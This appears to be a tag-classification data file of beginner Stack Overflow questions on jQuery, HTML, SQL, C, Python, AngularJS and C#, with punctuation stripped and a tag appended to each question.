$(this).data( complete   booleanvarhere); returns undefined right after setting it   i m trying to learn how to write a basic typewriter effect with jquery.  below is my progress thus far.  i got it to work  but it would fire more than once.  in my attempt to prevent that i ran into an issue beginning on line 35 - immediately after setting the data on the element  i try to read that data property and return it to console  but returns undefined.   <pre><code>var typewriter = function(theelements) {      // convert elements you want to type into object of string values.     function activatetypingforeachcontainer($whattotype) {         // cache context.         var $this = $(this);          // if typewritten once already then don t do it again  because that s just weird.         var edatacomplete = ($this.data( complete ) !== undefined)   $this.data( complete ) : false;             console.log( edatacomplete:  +edatacomplete);             $(this).data( complete   edatacomplete);             console.log($this.data( complete ));         if (edatacomplete === true) {                 console.log( this elements typing has already completed! );                 console.log(isactive);                 console.log($this.data( complete ));                 console.log( --------------------------------------------------- );             return false;         } else if (edatacomplete == false){                 console.log( let the typing party begin! );                 console.log($(this).data( complete ));              // cache text.             var message = $this.text();                 $this.data( text   message);              // do not interrupt or restart while typing.             // if active then stay the same  if not active change state to  active .             var edataisactive = ($this.data( isactive ) !== undefined)   $this.data( isactive ) : true;                 console.log( currentelement.isactive:  + edataisactive);                 $this.data( isactive   edataisactive);                 console.log($this.data( isactive ));                 console.log( --------------------------------------------------- );             // if the typing isn t active for the current element then go for it!  our mysterious narrator is clearly an extraordinary multitasker!             if (!edataisactive) {                 $this.css( color   #fff );                 typeit($this  message  0  isactive);             }         }     }  }; </code></pre>   html:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en-us &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;meta charset= utf-8 &gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt; &lt;script src= assets/js/libs/jquery-2.1.1.min.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div class= journal &gt;  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  &lt;/div&gt; &lt;div class= journal&gt;  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  &lt;/div&gt; &lt;div class= journal &gt;  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  &lt;/div&gt; &lt;div class= journal&gt;  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.  &lt;/div&gt; &lt;/body&gt; </code></pre>,jquery
div s breaks when i animate using jquery animate() method  hi i have used four div s in this page. if i click one div then it will shows its content by shrinking other divs into 10%. <a href= http://devt.webwings.in/716864/ecg_anim/  rel= nofollow >click here</a>    my problem is  when i click about div then technology and protection divs breaks down to the page and come back. i want to animate without breaking of that div.    here is my code following for about div click    <pre><code>    //about click starts here   $( #about ).click(function()   {         $( #about-con ).css({ display :  block    width :  45%    right :  30% });         $( #technology-con ).css({ display :  none    width :      right :   });         $( #protection-con ).css({ display :  none    width :      right :   });         $( #distribution-con ).css({ display :  none    width :      right :   });          $( #distribution ).animate({ width :  10%    float :  left    margin-left :  45% }  800);         $( #technology ).animate({ width :  10%    float :  left   margin-left :   }  800);         $( #protection ).animate({ width :  10%    float :  left   margin-left :  -17px }  800);         $( #about ).css({ width :  25%   float :  left   margin-left :   } 800);      }); //end of about click  </code></pre>   <strong>css:</strong>   <pre><code>#about{     height: 500px;     background-color: red;     cursor: pointer;     width: 25%;     z-index: 5;     } </code></pre>,html
accessing elements of one html page in other   i have a html page called main.html which have a frame frame1 and a text box txt and i am displaying another html page called tree.html in frame1 and i want to access data of text box in tree.html which is shown in frame1 of main.html. is it possible  if yes then how,html
link fragment bug on android   im maintaining a site with the link fragment below. there isnt an element with an id of top on the page however clicking it still takes you to the top of the page. is this because the default behavior of any link fragment is to take you to the top of the page      there is also a weird bug with it on android. it appears multiple times and works the first time but the second time you click it does nothing.    <pre><code>&lt;a href= #top &gt;top&lt;/a&gt; </code></pre>,html
how do i run an android project if i have this error  vt-x is disabled in the bios  and i cant changed to uefi   hi  i have developed a project for android.  i changed my computer and now i can t run my project i get this error  vt-x is disabled in the bios  but when i try to change the setting to uefi  my computer doesn t start. any one have any idea what i can do,android
div stuck behind my header  i m trying to build a generic css that i can apply to most pages on my site. i m trying to implement parallax scrolling with banners going across the middle of the image  a header  and a footer with contact information. currently i can t get this div to get underneath my header. div starts at the top of the page as does the header.,css
iphone cancel asynchronous nsurlconnection  i ran into the situation where my class is making one asynchronous web call and the user requests another one (by moving a map) and can t seem to properly cancel the nsurlconnection.  i have seen some solutions to manage multiple async calls  but i do not want to do that because once the second request is made i no longer care about the first.  i see that there is a cancel method  but i tried only calling it when the connection is nil  but the connection never seems to become nil despite a release on that object.  does anyone have a code sample of a proper cancel of an async nsurlconnect,iphone
reorder a list without ng-repeat  for reasons i won t go into  i m not using ng-repeat for a list of items.    i have a list like this:   <pre><code>    &lt;p&gt;search: &lt;input type= text  ng-model= search &gt;&lt;/p&gt;      &lt;div id= grid  filter-list= search &gt;        &lt;div id= item1  class= [list of properties] &gt;       //item content       &lt;/div&gt;       &lt;div id= item2  class= [list of properties] &gt;       //item content       &lt;/div&gt;        &lt;div id= item3  class= [list of properties] &gt;       //item content       &lt;/div&gt;        &lt;div id= item4  class= [list of properties] &gt;       //item content       &lt;/div&gt;      &lt;/div&gt; </code></pre>   as you can see i already have a search function working well.    my app script looks like this:   <pre><code>&lt;script&gt;     var app = angular.module( myapp   []).controller( mainctrl   function ($scope  $timeout) {      });        app.directive( filterlist   function ($timeout) {         return {             link: function (scope  element  attrs) {                  var div = array.prototype.slice.call(element[0].children);                  function filterby(value) {                     div.foreach(function (el) {                         el.classname = el.textcontent.tolowercase().indexof(value.tolowercase()) !== -1      :  ng-hide ;                     });                 }                  scope.$watch(attrs.filterlist  function (newval  oldval) {                     if (newval !== oldval) {                         filterby(newval);                     }                 });             }         };     });    &lt;/script&gt; </code></pre>   the problem is i need to be able to reorder the list based on class values or even the ids (at this stage it doesn t matter).    every tutorial/guide online assumes that the code uses  ng-repeat  ... which i simply can t use here.    is there any way i can get the items to reorder without using ng-repeat,angularjs
bind and parse html content  i am using angularjs v1.2.1.    the improved ng-bind-html directive allows me to trust unsafe html into my view.    example    html:   <pre><code>&lt;div ng-repeat= example in examples  ng-bind-html= example.content() &gt;&lt;/div&gt; </code></pre>   js:   <pre><code>function controller($scope  $sce) {      function ex()     {         this.click = function ()         {             alert( clicked );         }          this.content() = function ()         {             //if             return $sce.trustashtml( &lt;button ng-click= click() &gt;some text&lt;/button&gt; );              // no problem  but click is not called              //when             return $sce.parseashtml( &lt;button ng-click= click() &gt;some text&lt;/button&gt; );              //throw an error         }     }      $scope.examples = [new ex()  new ex()];  } </code></pre>   my question is  how to bind html content that may contain angular expressions or directives,angularjs
in objective-c  is if(self) { [self initfoo] } redundant   i am studying from the stanford cs193p from paul hegarty. then i see something like this  which i also see other people using:   <pre><code>- (id)init {     self = [super init];     if (self) {         [self somesetupfunctions];     }     return self; } </code></pre>   isn t that redundant  why not just use:   <pre><code>- (id)init {     self = [super init];     [self somesetupfunctions];     return self; } </code></pre>   i thought that messages to nil just fizzle  so why not use this second format,objective-c
python - typeerror:  float  object is not callable  have got the following code so far:   <pre><code>class beam(object):      def __init__(self  e  i  l):          self.e = e            self.i = i            self.l = l            self.loads = [(0.0  0.0)] #[(force  distance along beam)]      def gettotaldeflection(self  x):            calculate total deflection of beam due to multiple loads            loadslist = self.loads         beam.beamdeflection(loadslist  x)      def getslope(self  x):            calculate gradient at a point x on beam due to deflection                     import scipy.misc         return scipy.misc.derivative(self.gettotaldeflection(x)  x) </code></pre>   for the function getslope()  i need to calculate the slope by finding the derivative of deflection with respect to x. however  i am getting the following error:   <pre><code>traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt;   file  c:\users\x\anaconda2\lib\site-packages\spyderlib\widgets\externalshell\sitecustomize.py   line 685  in runfile execfile(filename  namespace)   file  c:\users\x\anaconda2\lib\site-packages\spyderlib\widgets\externalshell\sitecustomize.py   line 71  in execfile     exec(compile(scripttext  filename   exec )  glob  loc)   file  c:/users/x/downloads/beammodel.py   line 12  in &lt;module&gt;     class beam(object):   file  c:/users/x/downloads/beammodel.py   line 67  in beam     print b.getslope(1.0)   file  c:/users/x/downloads/beammodel.py   line 62  in getslope     return scipy.misc.derivative(self.gettotaldeflection(x)  x)   file  c:\users\x\anaconda2\lib\site-packages\scipy\misc\common.py   line 258  in derivative     val += weights[k]*func(x0+(k-ho)*dx *args) typeerror:  float  object is not callable </code></pre>,python
i deleted some files from my computer and now i can t run a script/program. what do i do   i recently permanently deleted some files from computer. now i can t run a script/program.    when i open an new terminal at the folder  i get this message...   <pre><code>last login: mon oct 26 07:56:13 on ttys005 vanessa-chiangs-macbook-air:gtim 0.8.2 vcchiang$ python3 gtim.py traceback (most recent call last):   file  gtim.py   line 6  in &lt;module&gt;     from pyqt5 import qtcore  qtgui  qtwidgets importerror: cannot import name  qtcore  vanessa-chiangs-macbook-air:gtim 0.8.2 vcchiang$  </code></pre>   what do i do,python
using the rel attribute as a variable in jquery  this might be a really easy question but i would like to grab the value of the rel tag in an image and store it as a variable to be used in a photo gallery script.     here is what i started with.   <pre><code>var elem = $(this)  control = $( .slides_control  elem)  total = control.children().size()  width = control.children().outerwidth()  height = control.children().outerheight()  next = 0  prev = 0  number = 0  current = 0  loaded  active  clicked  position  direction; backgroundcolor = $(img[rel]) </code></pre>   this is just a snippit of the code but what i m trying to do is use the rel tag to store a background color for the entire page that matches the background of the image.     is this the right way to capture the value of the rel tag      thanks for any advice.,jquery
repeating a foreign key in a column  hi i have this database table where i have for example   <pre><code>-transaction number- pk -id_number- fk from employees table -request-  -department_request_status- -department_oic- fk from id_number of employees table again -headoffice -headoffice_oic- fk from id_number of employees table again </code></pre>   can i for example left join them then show the names of the three id owners in the table     for example   <pre><code>select              table.id_num              table.dep_oic              table.headoffc_oic             employees.lname  ===&gt;select this for id_num dep_oic  and headoffc_oic             employees.fname  ===&gt;select this for id_num dep_oic  and headoffc_oic         from leave_application         left join employees         where leave_application.id_num = employees.id_num         left join employees         where leave_application.dep_oic = employees.id_num </code></pre>   how can i do it properly  is it possible  or i have to break them into three tables,mysql
select inner join with multiple fields from same table  i currently have two tables in my database  one for the values (using foreign keys) and one for their translations (same table has translation for more than one attribute type).    i am trying to perform a single inner join from the values table to the translations table and translate two or more fields.     <em><strong></em> i know this is a bad database design but this database is used only to generate a single report that doesnt change *</strong>   <hr>   translation table   <pre><code>**id  attribute  value  name**   1   office     2      office1   2    office    3      office2   3    office    4      office3   4    office    5      office4   5    segment   31     segment1   6    segment   32     segment2   7    segment   33     segment3   8    segment   34     segment4 </code></pre>  <hr>   values table   <pre><code>**office  segment  sum**   2       31       1234   3       31       4321   5       34       9813   2       33       8371 </code></pre>  <hr>   the result should be like this:    results table   <pre><code>**office    segment    sum**   office1   segment1   1234   office2   segment1   4321   office4   segment4   9813   office1   segment3   8371 </code></pre>   is it possible  if yes  how     thank you.,sql
wait of code execution till event is not done in c#  i have c# code which send data frames over the canbus continuously and can read back response from the slave.     i wants to send some 160bytes of data frames to slave continue from c# code. my c# code has the timer of 10ms which read the status from slave whether slave has sent the response back or not. meanwhile the main code continue send 8 bytes of frames to the slave.     now i want to wait and watch does slave has sent the data back to the master or not  once i got the response i will send the next frame to the salve.     now in c# how would i do check or wait of code execution does the flag is set or not in the timer .. i tried thread.sleep(100); but side effects of this is that timer interrupt function is not executing. similarly i have tried do{}while loop also but same situation.    any help would be appreciated.    thanks rakpat,c#
sharing cache between multiple web-sites  we have about 50 web-sites  running in different application pools  that read from a common cache database (using microsoft enterprise library caching application block).     we currently have a console application which populates the cache at 3am every morning. however  we want to get rid of this application and get the cache to automatically refresh expired items  using the icacheitemrefreshaction interface.     we were going to create our cache object in the global.asax of each of the 50 web-sites. however  my concern is that if we set a cache-expiration policy in global.asax  that each of the 50 web-sites will trigger a refresh action  causing the data to be re-cached 50 times.    we don t want only 1 web-site to set the expiration policies  as then the 49 other web-sites will have a dependency on that 1 web-site  and that s an architecture no-no.    given these constraints - any recommendations,asp.net
c - swapping strings pass by value rather than reference   i made a code to swap two strings:   <pre><code>void swap (char *a  char *b) {     char *t = a;     a = b;     b = t; }  int main() {     char * strings[2];     strings [0] =  luck! ;     strings [1] =  good  ;     swap (strings[0]  strings[1]);     printf(  %s %s\n  strings[0]  strings[1]);     return 0; } </code></pre>   and it fails. what i have trouble understanding is when i call <code>swap()</code> i pass two pointers. both pointers point to the first character of their assigned arrays. i then created a temporary pointer inside the function and perform basic switch. what is flawed here  i really want to understand why this approach is wrong,c
how do i bind an input field in angular   i ve created an input field and i d like to print the value below it  which mysteriously isn t working. i ve been doing this on multiple occasions before so it really is strange. anyone got any idea what i might be overlooking    <pre><code>&lt;input class= form-control control-search  type= text  placeholder= search  ng-model= searchtext &gt; &lt;span&gt;{{ searchtext }}&lt;/span&gt; </code></pre>   thanks!,angularjs
javascript arguments for beginner  why the following code does not increase the variable a for 1      <pre><code>var a =5;  function abc(y){     y++; }  abc(a);  //a is 5 not 6 why  </code></pre>   but this does   <pre><code>var a = 5;  function abc(){ a++; }  abc();  //a is 6 </code></pre>,javascript
excluding an html part from being clicked  i have a certain container and when you click on it  some javascrip is executed. within this container  i have a button.     how can i make that when you click anywhere on that container  the code is executed except on the button    <pre><code>&lt;div id= container  onclick= alert( hello ); &gt;     ...     &lt;input type= button  value= button &gt;     ... &lt;/div&gt; </code></pre>   the only way i found was to place the button outside the container and adjust its absolut position. but maybe there is a better solution.,html
get photos posted on instagram in my app  how do i list photos that are posted on instagram by the current user logged in to my app. thanks in advance for the help.,ios
"disable radio button initially javascript  i m trying to set the radio button to disable initially with javascript  here is my code. html:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>document.getelementbyid( authorise1_radio ).disabled = true;
 document.getelementbyid( authorise2_radio ).disabled = true;</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input checked class= radio_input  id= authorise1_radio  name= authorise1_radio  type= radio  value= authorise &gt;
 &lt;label class= radio_label  for= authorise1_radio &gt;yes&lt;/label&gt;
 
 &lt;input class= radio_input  id= authorise2_radio  name= authorise2_radio  type= radio  value= authorise &gt;
 &lt;label class= radio_label  for= authorise2_radio &gt;no&lt;/label&gt;</code></pre>
 </div>
 </div>
     i tried the same code in w3school.com and it works fine. this is the code there:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    document.getelementbyid( myradio ).disabled = true;</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>radio button:
 &lt;input type= radio  id= myradio &gt;</code></pre>
 </div>
 </div>",javascript
"unable to use my <a href> links from my website to external sites. (i.e. my site to my discord or patreon)  my site is <a href= http://inquizgaming.info/  rel= nofollow noreferrer >http://inquizgaming.info/</a>    when you click a link here in edge  it gives you a message saying:      this content can’t be shown in a frame there is supposed to be some content here  but the publisher doesn’t allow it to be displayed in a frame. this is to help protect the security of any information you might enter into this site. try this: open this in a new window     in chrome  the page just stays blank. this doesn t make a lot of sense to me  as i am not framing (i.e. using    or etc.) these links.  the entire body of the code for that first  join discord  button is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section id= banner &gt;
   &lt;div class= inner &gt;
       &lt;h2&gt;inquisitional gaming&lt;/h2&gt;
    &lt;p&gt;an open gaming community for all platforms!&lt;/p&gt;
        &lt;ul class= actions &gt;
                             &lt;li&gt;&lt;a href= http://discord.gg/qdf8dg9  class= button big alt &gt;join our discord!&lt;/a&gt;&lt;/li&gt;&lt;br&gt;
    &lt;/ul&gt;
   &lt;/div&gt;
  &lt;/section&gt;</code></pre>
 </div>
 </div>
     and from this  i just can t seem to understand what the issue is. i ve been looking all over online. i am new to html  css  and js. i am a novice at website building  and i am sure the problem is somewhere im not thinking of.    edit: when i right-click (or hold on mobile) and open it in a new window  the link works fine. this is extremely frustrating.",html
using qsort to sort alphabetically strings of a 2d array  how can i use qsort to sort alphabetically  strings of a 2d array which has strings for a example if i have an array of 4 rows and every row has a string of >=50 characters ...how can i use the qsort function to sort string alphabetically      i used this    <pre><code>            qsort(arr  i  500*sizeof(arr[0])  compare);             for (j=0; j&lt;i; j++) {                     printf( %s\n  arr[j]);             } </code></pre>   and the comparator i used is    <pre><code>            int compare (const void * a  const void * b ) {                     return strcmp(a  b);             } </code></pre>   but it gives me segmentation fault error while trying to compile,c
ruby on rails - model from generate scaffold command  i used  rails generate scaffold post title:string body:text  to create a model and related controller etc.  i was surprised to find the model and controller files empty.  i thought the model file would contain instance variables to store each post s title and body attributes.  can someone explain to me why the post model file running generate scaffold is empty even though the data items do show up in the database.  when i bring up the webpage and go to the .../posts url i can see the json listing of the ones i created.  thanks.,ruby-on-rails
group results from table on date with data from different rows (with the same date)  i have this table where i store the number of visitors per day for each location:   <pre><code>id      datum           dag     campus      bezoekers  1       2018-04-19      4       knt         755   2       2018-04-19      4       mar         238   3       2018-04-19      4       kat         335   6       2018-04-20      5       knt         736   7       2018-04-20      5       mar         66   8       2018-04-20      5       kat         327   9       2018-04-21      6       knt         0   10      2018-04-21      6       mar         0   11      2018-04-21      6       kat         0  </code></pre>   <em>fig 1.</em>    i would like to query this table  so that i get this as a result:   <pre><code>datum       kat     knt     mar 19/04/2018  335     755     238 20/04/2018  327     736     66 21/04/2018  0       0       0 </code></pre>   <em>fig 2</em>    (so for each date one row  with the number of visitors for each location in a column   with the location name as the column name)    so far i tried this:   <pre><code>select datum       case         when campus =  knt  then bezoekers           end  as  knt           case         when campus =  kat  then bezoekers       end  as  kat        case         when campus =  mar  then bezoekers     end         as  mar  from telling_dag  </code></pre>   <em>fig 3</em>    but this (logically) results in :    <pre><code>datum           knt     kat     mar  2018-04-19      755    \n      \n  2018-04-19     \n      \n       238   2018-04-19     \n       335    \n  2018-04-20      736    \n      \n  2018-04-20     \n      \n       66   2018-04-20     \n       327    \n  2018-04-21      0      \n      \n  2018-04-21     \n      \n       0   2018-04-21     \n       0      \n </code></pre>   <em>fig 4</em>    so my question is: how can i group the above result (<em>fig 4</em>) in 1 row per date  with the 3 values per location in the colums (as in <em>fig 2</em>),mysql
how to get a list of counts of records in sql   (warning  i m a java guy  not a sql guy ... :) trying to do something in sql that s puzzling me ...    simplified example: i have an <code>active_users</code> table (with a <code>user_id</code> and a <code>active_date</code> they became active).  there is a <code>users</code> table (with a <code>id</code>  <code>username</code>  and <code>group_id</code> for the group they belong to).  and there is a <code>usergroup</code> table (with a <code>id</code> and a <code>group_name</code>).    i want to get a list of the groups with the number of users in each group (for a given date range).    what i have so far:   <pre><code>select distinct user_id  username  group_name from active_users inner join users  on active_users.user_id=user.id inner join usergroup on user.group_id=group.id where  active_user.active_time between to_date( 2016-dec-01    yyyy-mon-dd ) and to_date( 2017-jan-01    yyyy-mon-dd ) and usergroup.id=3006648 </code></pre>   this gets me the list of distinct users for a specific usergroup (3006648).    and if i change the first line to:   <pre><code>select count(distinct user_id) ... </code></pre>   that gets me the count.    not sure what to do next ... do i make this code into a function or something and pass my dates and group id in as parameters,sql
how implement pell number calculation in c#  i am trying to calculate pell numbers  however i am always ending up with <code>cannot evaluate expression because the current thread is in a stack overflow state.</code> exception as the method is called recursively.     <pre><code>static int calcpell(int input) {     int i = 0;     try     {         if (input == 0 || input == 1)             return input;         else             return i = (2 * calcpell(input - 1) + calcpell(input + 1));     }     catch(exception ex)     {         console.write(ex.message);     }     return i; } </code></pre>,c#
file search with specific extension  how can i search for files with particular extension  the search should be carried out through all the logical drives availbale in my computer.<br> i tried like     <pre><code>var di = new directoryinfo(  somepath );   files = di.getfiles( *.txt );   </code></pre>   but my problem is search should carried out in each and every folder.    thank you,c#
figuring out javascript equality operator  while trying to fully understand the difference between equality operator and identity operator  i came across an <a href= http://msdn.microsoft.com/en-us/library/ie/ky6fyhws%28v=vs.94%29.aspx  rel= nofollow noreferrer >article</a> at msdn that explains what they both do  in terms of their inner workings  but i still had a few doubts and decided to create a flowchart so i could have a better picture. now my question is  is this flowchart correct  or am i missing something      it s also my understanding that the identity operator (===) would work pretty much the same way  but without attempting to convert a and b to boolean  number or string  in the first step. is that correct     you can see the image <a href= https://i.stack.imgur.com/tswe3.jpg  rel= nofollow noreferrer >here</a> too:    <img src= https://i.stack.imgur.com/tswe3.jpg  alt= enter image description here >    ok here is the real thing  it was a matter of principles ;)    <img src= https://i.stack.imgur.com/7ull0.jpg  alt= enter image description here >,javascript
returning a string from a function in c with parameters  i am trying to return a string from my scopy() function  so i can print it in the main() function of my code. please help.   <pre><code>const char *scopy(char buffer[256]  int i);  int main() {     int i;     int x;     char buffer[256];     char newbuffer;//[256];     printf( please enter a number:  );     fgets(buffer  256  stdin);     i = atoi(buffer);  printf( the value you entered is %d.  its double is %d.\n   i  i*2); newbuffer = scopy(buffer  i);   printf(newbuffer);     return 0; }     const char *scopy(char buffer[256]  int i){     char nbuffer[256];     char *t;             int x;     for(x = 0; x &lt; i; x++){         strcat(t  buffer);     }     //t = nbuffer;     return t; } </code></pre>,c
why sql not in() operator not working   i have the following sql statement and i want to fetch data from <strong>users</strong>  table where user id is not in another table of column_one and column_two.    i dont know why this statement return an error:    <strong>this version of mariadb doesn t yet support  limit &amp; in/all/any/some subquery </strong>    so with this error i remove the limit statement and now it says :    <strong>operand should contain 1 column(s)</strong>    i can see sql wants me to select only one column in the sub-query but this is not what i want.    how can i make it work avoiding all these errors and return a valid sql statement with my filtering     this is the sql code i tried:   <pre><code>select u.username  u.firstname  u.lastname u.id u.school         from users u             where u.id not in(                 select user_two user_one from friends                      where user_one != 8                           or user_two  != 8              ) </code></pre>,mysql
form-control transfers wrong infomation  i have this snippet of code  so visitors to my page must input their phone number so i can contact them.    it works fine; it validates the information but whenever someone puts  +45  or something in front of their phone number (like this +4512345678)  i get this  2147483647 .   <pre><code>&lt;div class= form &gt;     &lt;input type= phone             class= form-control             placeholder= phone             name= fieldnumb      &lt;input pattern= .{7 15}  required title= input number &gt; &lt;/div&gt; </code></pre>   what s the logic behind that  and how do i solve it,html
reflection to grab strings from an objective c file  i have a large objective c file filled with hardcoded objects with a description string field on them. they are all constructed like so:   <pre><code>item *43 = [[item alloc] initwithfieldid:@ 43  description:@ this is test 43 of 100 ]; </code></pre>   i would like to know if there is a way for me to extract all of these strings in this .m file and write them to a text file. is there some kind of reflection library that would let me walk this file and grab all the strings starting from description:@ ending at the second quotation mark,objective-c
c++  expression must be a modifiable lvalue  error <pre><code>void sort(maximumas maxi[]  int ind){     int m = 0; // begin     bool bk = true;     while(bk){         bk = false;         for(int j=ind-1; j&gt;m; j--){             if(maxi[j].getquantity() &gt; maxi[j-1].getquantity()){                 bk = true;                 int c = maxi[j].getquantity();                 maxi[j].getquantity() = maxi[j-1].getquantity();                 maxi[j-1].getquantity() = c;             }         }         m++;     } } </code></pre>   when  i try to compile this code i get an error: <strong>expression must be a modifiable lvalue</strong>    what s wrong with my code,c++
jquery issue - $(this).parent().remove();  i found a solution for many problems before here but still cant find answer on this problem. i have a  container and i am adding another  elements inside dynamically with jquery. inside that added div s i have a button so i want when i click that button the  and the button to be removed. here is what i tried so far with no success.    html   <pre><code>&lt;div id= menucontainer &gt; &lt;ul id= menu &gt;     &lt;li&gt;&lt;a href= #  id= addcolumn &gt;add element (max 5)&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #  id= addcard &gt;---&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #  id= delcolumn &gt;---&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #  id= delcard &gt;---&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #  id= tblreset &gt;---&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div id= columns  style= width: 1000px; &gt;&lt;/div&gt; </code></pre>   jquery:   <pre><code>$(function() { var columns = $( .column ).size();  $( a#addcolumn ).click(function() {     if (columns &lt; 5) {                       var columnname = prompt( внесете назив за колоната:  );     var temp = columns + 1;     $( &lt;div class= column &gt;  + columnname +  &lt;button id=   + temp +    style= float:right;  class= btnremovecolumn &gt;x&lt;/button&gt;&lt;/div&gt; ).appendto( div#columns );     columns++; } else {      alert( имате максимален број на колони во таблата ); } });  $( .btnremovecolumn ).click(function(){     $(this).parent().remove(); });               }); </code></pre>   all with the css can be tried on external site fiddle so see how all (not) working. <a href= http://jsfiddle.net/cxlqk/20/  rel= nofollow >link here</a>,jquery
remove txt file line by line using php  remove txt file line by line using php  have txt file like this   <pre><code>.../path/ffdfygfftg_230x260.jpeg .../path/ttttoooooop_125x340.png .../path/pppppppffd_450x440.gif </code></pre>   i have 70.000 line link image for this.. but this tumbnail size...     normal size link is   <pre><code>.../path/ggdfghfdf.jpeg </code></pre>   so i am looking for a way to open the text file  reading it line by line and removing start from (_) values while also removing end before dot (.)    posible using php,php
retain selected value for link dropdown upon refresh  <img src= https://i.stack.imgur.com/idf9q.png  alt= enter image description here >how do i retain selected value on page refresh for the following dropdown    <pre><code> &lt;select onchange= this.options[this.selectedindex].value &amp;&amp; (window.location = this.options[this.selectedindex].value); &gt; &lt;option value=  &gt;select...&lt;/option&gt; &lt;option value= http://google.com &gt;google&lt;/option&gt; &lt;option value= http://yahoo.com &gt;yahoo&lt;/option&gt; </code></pre>,html
asp.net validators validate on mouse up  i have a compare validator on a password field compared it to a password repeat field.  if there is a validation error the error doesn t disappear until the lost focus event is fired.  the client wants this changed to be the key up event.    what is the best way of going about this,asp.net
